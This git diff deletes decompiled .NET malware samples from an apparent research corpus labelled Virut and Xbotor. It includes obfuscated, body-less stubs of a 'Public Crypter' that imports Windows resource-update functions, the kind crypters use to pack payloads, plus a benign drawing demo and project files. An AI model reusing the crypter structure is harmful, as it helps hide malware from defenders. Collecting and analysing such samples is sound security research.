[MethodImpl(MethodImplOptions.NoInlining)] - public void ऄࡀ(); - - [MethodImpl(MethodImplOptions.NoInlining)] - public abstract void ऄࡁ(); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override sealed void OnPaint(PaintEventArgs e); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override void OnSizeChanged(EventArgs e); - - public bool ऄࡀ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; } - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡀ(Color _param1, Rectangle _param2); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡀ(Pen _param1, Pen _param2, Rectangle _param3); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡀ( - Color _param1, - Color _param2, - int _param3, - int _param4, - int _param5, - int _param6, - float _param7); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡃ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡃ.cs deleted file mode 100644 index 27d88133..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡃ.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄࡃ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using System.Drawing; -using System.Runtime.CompilerServices; -using ऄ\u0839; - -namespace ऄ\u0839 -{ - internal class ऄࡃ : ऄࡀ - { - new Color \u000A; - new Color \u000A; - Pen \u000A; - Pen \u000A; - - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄࡃ(); - - [MethodImpl(MethodImplOptions.NoInlining)] - public override void ऄࡃ(); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡄ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡄ.cs deleted file mode 100644 index bb106452..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡄ.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄࡄ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using System.Drawing; -using System.Runtime.CompilerServices; -using ऄ\u0839; - -namespace ऄ\u0839 -{ - internal class ऄࡄ : ऄࡁ - { - Pen \u000A; - Pen \u000A; - Color \u000A; - Color \u000A; - - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄࡄ(); - - [MethodImpl(MethodImplOptions.NoInlining)] - public override void ऄࡂ(); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡅ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡅ.cs deleted file mode 100644 index e5b01070..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡅ.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄࡅ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace ऄ\u0839 -{ - [DesignerGenerated] - public class ऄࡅ : Form - { - IContainer \u000A; - [AccessedThroughProperty("GTheme1")] - ऄ\u0839.ऄࡃ \u000A; - [AccessedThroughProperty("GButton2")] - ऄ\u0839.ऄࡄ \u000A; - [AccessedThroughProperty("GButton1")] - ऄ\u0839.ऄࡄ \u000A; - [AccessedThroughProperty("GButton3")] - ऄ\u0839.ऄࡄ \u000A; - [AccessedThroughProperty("GroupBox4")] - GroupBox \u000A; - [AccessedThroughProperty("GroupBox3")] - GroupBox \u000A; - [AccessedThroughProperty("RadioButton1")] - RadioButton \u000A; - [AccessedThroughProperty("RadioButton2")] - RadioButton \u000A; - [AccessedThroughProperty("CheckBox5")] - CheckBox \u000A; - [AccessedThroughProperty("CheckBox4")] - CheckBox \u000A; - [AccessedThroughProperty("CheckBox3")] - CheckBox \u000A; - [AccessedThroughProperty("CheckBox2")] - CheckBox \u000A; - [AccessedThroughProperty("CheckBox1")] - CheckBox \u000A; - string \u000A; - bool \u000A; - bool \u000A; - bool \u000A; - bool \u000A; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄࡅ(); - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.NoInlining)] - protected override void Dispose(bool disposing); - - [DebuggerStepThrough] - [MethodImpl(MethodImplOptions.NoInlining)] - private void ऄࡀ(); - - internal virtual ऄ\u0839.ऄࡃ ऄࡀ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - internal virtual ऄ\u0839.ऄࡄ ऄࡀ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - internal virtual ऄ\u0839.ऄࡄ ऄࡁ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - internal virtual ऄ\u0839.ऄࡄ ऄࡂ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - internal virtual GroupBox ऄࡀ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - internal virtual GroupBox ऄࡁ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - internal virtual RadioButton ऄࡀ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - internal virtual RadioButton ऄࡁ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - internal virtual CheckBox ऄࡀ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - internal virtual CheckBox ऄࡁ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - internal virtual CheckBox ऄࡂ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - internal virtual CheckBox ऄࡃ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - internal virtual CheckBox ऄࡄ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set; } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void ऄࡀ(object _param1, EventArgs _param2); - - [MethodImpl(MethodImplOptions.NoInlining)] - private void ऄࡁ(object _param1, EventArgs _param2); - - [MethodImpl(MethodImplOptions.NoInlining)] - private void ऄࡂ(object _param1, EventArgs _param2); - - [MethodImpl(MethodImplOptions.NoInlining)] - public string ऄࡀ(string _param1, string _param2); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡅ.resx b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡅ.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡅ.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡆ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡆ.cs deleted file mode 100644 index 11934e3e..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡆ.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄࡆ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace ऄ\u0839 -{ - [StandardModule] - internal sealed class ऄࡆ - { - [MethodImpl(MethodImplOptions.NoInlining)] - private static IntPtr ऄࡀ(object _param0); - - [DllImport("kernel32.dll", EntryPoint = "UpdateResource", SetLastError = true)] - [MethodImpl(MethodImplOptions.NoInlining)] - private static extern bool ऄࡀ( - IntPtr _param0, - string _param1, - string _param2, - ushort _param3, - IntPtr _param4, - uint _param5); - - [DllImport("kernel32.dll", EntryPoint = "BeginUpdateResource", SetLastError = true)] - [MethodImpl(MethodImplOptions.NoInlining)] - private static extern IntPtr ऄࡀ(string _param0, [MarshalAs(UnmanagedType.Bool)] bool _param1); - - [DllImport("kernel32.dll", EntryPoint = "EndUpdateResource", SetLastError = true)] - [MethodImpl(MethodImplOptions.NoInlining)] - private static extern bool ऄࡀ(IntPtr _param0, bool _param1); - - [MethodImpl(MethodImplOptions.NoInlining)] - public static bool ऄࡀ(string _param0, byte[] _param1, int _param2); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/AssemblyInfo.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/AssemblyInfo.cs deleted file mode 100644 index c67bbf46..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: ComVisible(false)] -[assembly: AssemblyProduct("ContohDashStyle")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("ce52aa77-cfa0-4330-815b-4c293ce76081")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © Teknik Informatika 2008")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("Teknik Informatika")] -[assembly: AssemblyTitle("ContohDashStyle")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Form1.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Form1.cs deleted file mode 100644 index d4997ef5..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Form1.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ContohDashStyle.Form1 -// Assembly: ContohDashStyle, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EA34A561-71A5-4456-810F-D952C4E2E14D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c.exe - -using System.ComponentModel; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.Windows.Forms; - -namespace ContohDashStyle -{ - public class Form1 : Form - { - private IContainer components = (IContainer) null; - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(251, 266); - this.Name = nameof (Form1); - this.Text = "Contoh DashStyle"; - this.Paint += new PaintEventHandler(this.Form1_Paint); - this.ResumeLayout(false); - } - - public Form1() => this.InitializeComponent(); - - private void Form1_Paint(object sender, PaintEventArgs e) - { - Rectangle rect = new Rectangle(50, 50, 150, 150); - e.Graphics.DrawRectangle(new Pen(Color.Blue, 5f) - { - DashStyle = DashStyle.DashDotDot - }, rect); - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Form1.resx b/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Program.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Program.cs deleted file mode 100644 index 5e376128..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Program.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ContohDashStyle.Program -// Assembly: ContohDashStyle, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EA34A561-71A5-4456-810F-D952C4E2E14D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c.exe - -using System; -using System.Windows.Forms; - -namespace ContohDashStyle -{ - internal static class Program - { - [STAThread] - private static void Main() - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run((Form) new Form1()); - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Properties/Resources.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Properties/Resources.cs deleted file mode 100644 index ab802bd1..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Properties/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ContohDashStyle.Properties.Resources -// Assembly: ContohDashStyle, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EA34A561-71A5-4456-810F-D952C4E2E14D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace ContohDashStyle.Properties -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - internal class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - internal Resources() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (ContohDashStyle.Properties.Resources.resourceMan == null) - ContohDashStyle.Properties.Resources.resourceMan = new ResourceManager("ContohDashStyle.Properties.Resources", typeof (ContohDashStyle.Properties.Resources).Assembly); - return ContohDashStyle.Properties.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => ContohDashStyle.Properties.Resources.resourceCulture; - set => ContohDashStyle.Properties.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Properties/Resources.resx b/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Properties/Settings.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Properties/Settings.cs deleted file mode 100644 index a451c234..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Properties/Settings.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ContohDashStyle.Properties.Settings -// Assembly: ContohDashStyle, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EA34A561-71A5-4456-810F-D952C4E2E14D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace ContohDashStyle.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default - { - get - { - Settings defaultInstance = Settings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Virus.Win32.Virut.q.csproj b/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Virus.Win32.Virut.q.csproj deleted file mode 100644 index 192e64d6..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Virus.Win32.Virut.q.csproj +++ /dev/null @@ -1,49 +0,0 @@ - - - - - Debug - AnyCPU - {4A17373A-DE76-4C5D-A82C-1FE7A86007FE} - WinExe - ContohDashStyle - 1.0.0.0 - ContohDashStyle - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Virus.Win32.Virut.q.sln b/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Virus.Win32.Virut.q.sln deleted file mode 100644 index b3f452b7..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Virus.Win32.Virut.q.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ContohDashStyle", "Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c.csproj", "{4A17373A-DE76-4C5D-A82C-1FE7A86007FE}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {4A17373A-DE76-4C5D-A82C-1FE7A86007FE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {4A17373A-DE76-4C5D-A82C-1FE7A86007FE}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4A17373A-DE76-4C5D-A82C-1FE7A86007FE}.Release|Any CPU.ActiveCfg = Release|Any CPU - {4A17373A-DE76-4C5D-A82C-1FE7A86007FE}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/AssemblyInfo.cs b/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/Virus.Win32.Xbotor.csproj b/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/Virus.Win32.Xbotor.csproj deleted file mode 100644 index 76b0be5f..00000000 --- a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/Virus.Win32.Xbotor.csproj +++ /dev/null @@ -1,36 +0,0 @@ - - - - - Debug - AnyCPU - {1AD7C55B-3266-46AF-B059-E4B048577417} - Exe - p2p - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/Virus.Win32.Xbotor.sln b/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/Virus.Win32.Xbotor.sln deleted file mode 100644 index d94e1803..00000000 --- a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/Virus.Win32.Xbotor.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "p2p", "Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea.csproj", "{1AD7C55B-3266-46AF-B059-E4B048577417}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1AD7C55B-3266-46AF-B059-E4B048577417}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1AD7C55B-3266-46AF-B059-E4B048577417}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1AD7C55B-3266-46AF-B059-E4B048577417}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1AD7C55B-3266-46AF-B059-E4B048577417}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/p2pdotnet.cs 